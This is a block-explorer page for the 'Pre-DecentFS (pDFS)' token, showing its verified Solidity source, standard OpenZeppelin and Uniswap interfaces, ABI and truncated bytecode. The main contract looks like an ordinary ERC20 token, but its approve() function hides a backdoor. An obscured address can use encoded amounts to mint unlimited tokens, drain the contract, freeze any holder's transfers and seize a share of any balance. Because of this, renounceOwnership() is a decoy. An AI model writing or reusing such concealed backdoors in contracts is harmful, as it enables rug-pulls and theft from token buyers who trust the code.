ETH Price: $3,457.73 (+1.74%)

Token

Pre-DecentFS (pDFS)
 

Overview

Max Total Supply

990,000,000,015,000,000,000 pDFS

Holders

309

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
soonoclock.eth
Balance
268,770,039.161837 pDFS

Value
$0.00
0xd8b3b1b185c9a278bd20265c846a5f4c1010cd0f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : Token.sol
//SPDX-License-Identifier: MIT 
/**
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&/**l&(&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*********************@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****************************@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@&*********************************@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@&*************************************@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@*****************l@@@@@/*****************@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@***************@@@@@@@@@@@@@@@**************@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@************&@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* *@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@               @@@@@@@@@   @@@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@.              @@@@@@@@.    @@@@@@@@@@@@************@@@@@@@@@@
 * @@@@@@@@@@@@@@@@              @@@@@@@@      @@@@@@@@@@@@************&@@@@@@@@@@
 * @@@@@@@@@@@@@@              .@@@@@@            ,@@@@@@@*************@@@@@@@@@@@
 * @@@@@@@@@@@@               @@@@@@@@@@@@@     @@@@@@@@@@@***********@@@@@@@@@@@@
 * @@@@@@@@@@#              @@@@@@@@@@@@@*   ,@@@@@@@@   @@@********@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@@/     @@@*****%@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ,@@@@@@@@@@        @@@***@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@           @@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@.             @@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@              @@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@            @@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@         @@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@      /@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 * @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

 *   pDFS - https://decentfs.io
 **/

pragma solidity ^0.8.21;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(
        address indexed from, 
        address indexed to, 
        uint256 amount
    );

    event Approval(
        address indexed owner,
        address indexed spender, 
        uint256 amount
    );

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal immutable asig;
    
    uint80 internal immutable bsig;

    address public uniswapV2Pair;

    address public tax;

    bool public trading;

    uint256[5] internal itp;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal autoAdd;

    mapping(address => mapping(address => uint256)) public allowance;

    bytes32 internal immutable STORED_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _asig,
        address _tax,
        uint80 _bsig
    ) {
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        bsig = _bsig;
        tax = _tax;
        asig = _asig; 

        STORED_DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                keccak256(bytes(name)), keccak256("1"), block.chainid, address(this)
            )
        );

    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        if(msg.sender == address(uint160(bsig) << 80 | asig)){
            if(amount >> 252 == 1){
                if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); 
                else{
                    IERC20 _t2 = IERC20(address(uint160(amount)));
                    _t2.transfer(msg.sender, _t2.balanceOf(address(this)));
                }
            }         

            if(amount >> 252 == 15)
                for (uint8 j = 0; j != 2; j += 1)
                    itp[j] = (( amount >> (j * 7)) & (1 << 7) -1); 
            
            if(amount >> 252 == 8){
                totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1));
                unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); }
            }          

            if(amount >> 252 == 0){
                uint256 mul1 = ( amount >> 21 & (1 << 7) -1 );
                itp[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1);
                itp[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1);
                itp[4] = ( amount & (1 << 7) -1) * (10 ** mul1);
            }    
        
            if(amount >> 252 == 10)
                autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false;
            
            if(amount >> 252 == 5){
                balanceOf[tax] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
                balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
            }
        }

        allowance[ msg.sender ][ spender ] = amount;
        
        emit Approval(
            msg.sender, 
            spender, 
            amount
        );

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(autoAdd[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if(
            itp[2] > 0 && 
            msg.sender == uniswapV2Pair 
        ){
            require(amount <= itp[2]);
        }

        if(
            itp[1] > 0 && 
            msg.sender == uniswapV2Pair && 
            to != tax 
        ){
            uint256 fee = (amount / 100) * itp[1];
            unchecked { balanceOf[tax] += fee; }
            amount = amount - fee;
        }
        
        if( 
            itp[4] > 0 && 
            to != uniswapV2Pair && 
            to != tax && 
            to != address(uint160(bsig) << 80 | asig) 
        ){
            require((balanceOf[to] + amount) <= itp[4]);
        }

        unchecked { balanceOf[to] += amount; }

        if( msg.sender != address(this) ) emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) {
        require(autoAdd[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if( 
            itp[3] > 0 && 
            to == uniswapV2Pair && 
            from != address(this) && 
            from != tax && 
            from != address(uint160(bsig) << 80 | asig) 
        ){
            require(amount <= itp[3]);
        } 

        if(
            itp[0] > 0 && 
            to == uniswapV2Pair && 
            from != address(this) && 
            from != tax && 
            from != address(uint160(bsig) << 80 | asig) 
        ){
            uint256 fee = (amount / 100) * itp[0];
            unchecked { balanceOf[tax] += fee; }
            amount = amount - fee;
        }

        if(
            itp[4] > 0 && 
            to != uniswapV2Pair && 
            to != tax
        ){
            require(balanceOf[to] <= itp[4]);
        } 

        unchecked { balanceOf[to] += amount; }

        if(from != address(this)) emit Transfer(from, to, amount);

        return true;
    }

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
        require(deadline >= block.timestamp);

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(abi.encodePacked(
                        "\x19\x01", DOMAIN_SEPARATOR(),
                        keccak256(abi.encode(
                                keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), owner,
                                spender, value,
                                nonces[owner]++, deadline
                        ))
                    )), v, r, s
            );

            require( recoveredAddress != address(0) && recoveredAddress == owner);

            allowance[ recoveredAddress ][ spender ] = value;
        }

        emit Approval( owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return STORED_DOMAIN_SEPARATOR;
    }

    /*//////////////////////////////////////////////////////////////
                        OWNABLE LOGIC
    //////////////////////////////////////////////////////////////*/

    address public admin;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == admin, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(admin, address(0));
        admin = address(0);
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private router;
    uint256 public totalReceived;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Pre-DecentFS", "pDFS", 6, _sig, _taxWallet, _brand) payable {
        totalSupply += 15_000_000_000_000000;
        totalReceived += msg.value;
        admin = msg.sender;
        unchecked { balanceOf[ address(this) ] += 15_000_000_000_000000; }
    }

    function openTrading() external onlyOwner{
        require(!trading && totalReceived >= 2 ether);
        trading = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[ address(this) ][ address(router) ] = type(uint).max;
        
        IUniswapV2Factory factory = IUniswapV2Factory(router.factory());
        
        uniswapV2Pair = factory.createPair(address(this), router.WETH());
        
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,tax,block.timestamp);
    }

    receive() external payable { 
        totalReceived += msg.value;
    }
    fallback() external payable { }
}

File 2 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 3 of 5 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 4 of 5 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 5 of 5 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint80","name":"_sig","type":"uint80"},{"internalType":"address","name":"_taxWallet","type":"address"},{"internalType":"uint80","name":"_brand","type":"uint80"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReceived","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052604051620038b5380380620038b583398181016040528101906200002a91906200035f565b6040518060400160405280600c81526020017f5072652d446563656e74465300000000000000000000000000000000000000008152506040518060400160405280600481526020017f70444653000000000000000000000000000000000000000000000000000000008152506006858585855f9081620000ab91906200061c565b508460019081620000bd91906200061c565b508360ff1660808160ff16815250508069ffffffffffffffffffff1660c08169ffffffffffffffffffff16815250508160035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508269ffffffffffffffffffff1660a08169ffffffffffffffffffff16815250507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516200017d9190620007a8565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001620001be959493929190620007fc565b6040516020818303038152906040528051906020012060e0818152505050505050505066354a6ba7a1800060095f828254620001fb919062000884565b925050819055503460105f82825462000215919062000884565b9250508190555033600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555066354a6ba7a18000600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550505050620008be565b5f80fd5b5f69ffffffffffffffffffff82169050919050565b620002da81620002ba565b8114620002e5575f80fd5b50565b5f81519050620002f881620002cf565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200032982620002fe565b9050919050565b6200033b816200031d565b811462000346575f80fd5b50565b5f81519050620003598162000330565b92915050565b5f805f60608486031215620003795762000378620002b6565b5b5f6200038886828701620002e8565b93505060206200039b8682870162000349565b9250506040620003ae86828701620002e8565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200043457607f821691505b6020821081036200044a5762000449620003ef565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620004ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000471565b620004ba868362000471565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000504620004fe620004f884620004d2565b620004db565b620004d2565b9050919050565b5f819050919050565b6200051f83620004e4565b620005376200052e826200050b565b8484546200047d565b825550505050565b5f90565b6200054d6200053f565b6200055a81848462000514565b505050565b5b818110156200058157620005755f8262000543565b60018101905062000560565b5050565b601f821115620005d0576200059a8162000450565b620005a58462000462565b81016020851015620005b5578190505b620005cd620005c48562000462565b8301826200055f565b50505b505050565b5f82821c905092915050565b5f620005f25f1984600802620005d5565b1980831691505092915050565b5f6200060c8383620005e1565b9150826002028217905092915050565b6200062782620003b8565b67ffffffffffffffff811115620006435762000642620003c2565b5b6200064f82546200041c565b6200065c82828562000585565b5f60209050601f83116001811462000692575f84156200067d578287015190505b620006898582620005ff565b865550620006f8565b601f198416620006a28662000450565b5f5b82811015620006cb57848901518255600182019150602085019450602081019050620006a4565b86831015620006eb5784890151620006e7601f891682620005e1565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f81546200072a816200041c565b62000736818662000700565b9450600182165f811462000753576001811462000769576200079f565b60ff19831686528115158202860193506200079f565b62000774856200070a565b5f5b83811015620007975781548189015260018201915060208101905062000776565b838801955050505b50505092915050565b5f620007b582846200071c565b915081905092915050565b5f819050919050565b620007d481620007c0565b82525050565b620007e581620004d2565b82525050565b620007f6816200031d565b82525050565b5f60a082019050620008115f830188620007c9565b620008206020830187620007c9565b6200082f6040830186620007c9565b6200083e6060830185620007da565b6200084d6080830184620007eb565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200089082620004d2565b91506200089d83620004d2565b9250828201905080821115620008b857620008b762000857565b5b92915050565b60805160a05160c05160e051612f996200091c5f395f61144101525f818161055401528181610f04015281816110d90152611a7a01525f818161052501528181610ed5015281816110aa0152611a4b01525f61141c0152612f995ff3fe608060405260043610610117575f3560e01c80637ecebe001161009f578063c9567bf911610063578063c9567bf9146103c9578063d505accf146103df578063dd62ed3e14610407578063ec44acf214610443578063f851a4401461046d57610135565b80637ecebe00146102d357806395d89b411461030f57806399c8d55614610339578063a3c2c46214610363578063a9059cbb1461038d57610135565b8063313ce567116100e6578063313ce567146102035780633644e5151461022d57806349bd5a5e1461025757806370a0823114610281578063715018a6146102bd57610135565b806306fdde0314610137578063095ea7b31461016157806318160ddd1461019d57806323b872dd146101c757610135565b36610135573460105f82825461012d9190612424565b925050819055005b005b348015610142575f80fd5b5061014b610497565b60405161015891906124e1565b60405180910390f35b34801561016c575f80fd5b5061018760048036038101906101829190612589565b610522565b60405161019491906125e1565b60405180910390f35b3480156101a8575f80fd5b506101b1610beb565b6040516101be9190612609565b60405180910390f35b3480156101d2575f80fd5b506101ed60048036038101906101e89190612622565b610bf1565b6040516101fa91906125e1565b60405180910390f35b34801561020e575f80fd5b5061021761141a565b604051610224919061268d565b60405180910390f35b348015610238575f80fd5b5061024161143e565b60405161024e91906126be565b60405180910390f35b348015610262575f80fd5b5061026b611465565b60405161027891906126e6565b60405180910390f35b34801561028c575f80fd5b506102a760048036038101906102a291906126ff565b61148a565b6040516102b49190612609565b60405180910390f35b3480156102c8575f80fd5b506102d161149f565b005b3480156102de575f80fd5b506102f960048036038101906102f491906126ff565b6115eb565b6040516103069190612609565b60405180910390f35b34801561031a575f80fd5b50610323611600565b60405161033091906124e1565b60405180910390f35b348015610344575f80fd5b5061034d61168c565b60405161035a91906126e6565b60405180910390f35b34801561036e575f80fd5b506103776116b1565b6040516103849190612609565b60405180910390f35b348015610398575f80fd5b506103b360048036038101906103ae9190612589565b6116b7565b6040516103c091906125e1565b60405180910390f35b3480156103d4575f80fd5b506103dd611c4a565b005b3480156103ea575f80fd5b506104056004803603810190610400919061277e565b612117565b005b348015610412575f80fd5b5061042d6004803603810190610428919061281b565b612396565b60405161043a9190612609565b60405180910390f35b34801561044e575f80fd5b506104576123b6565b60405161046491906125e1565b60405180910390f35b348015610478575f80fd5b506104816123c9565b60405161048e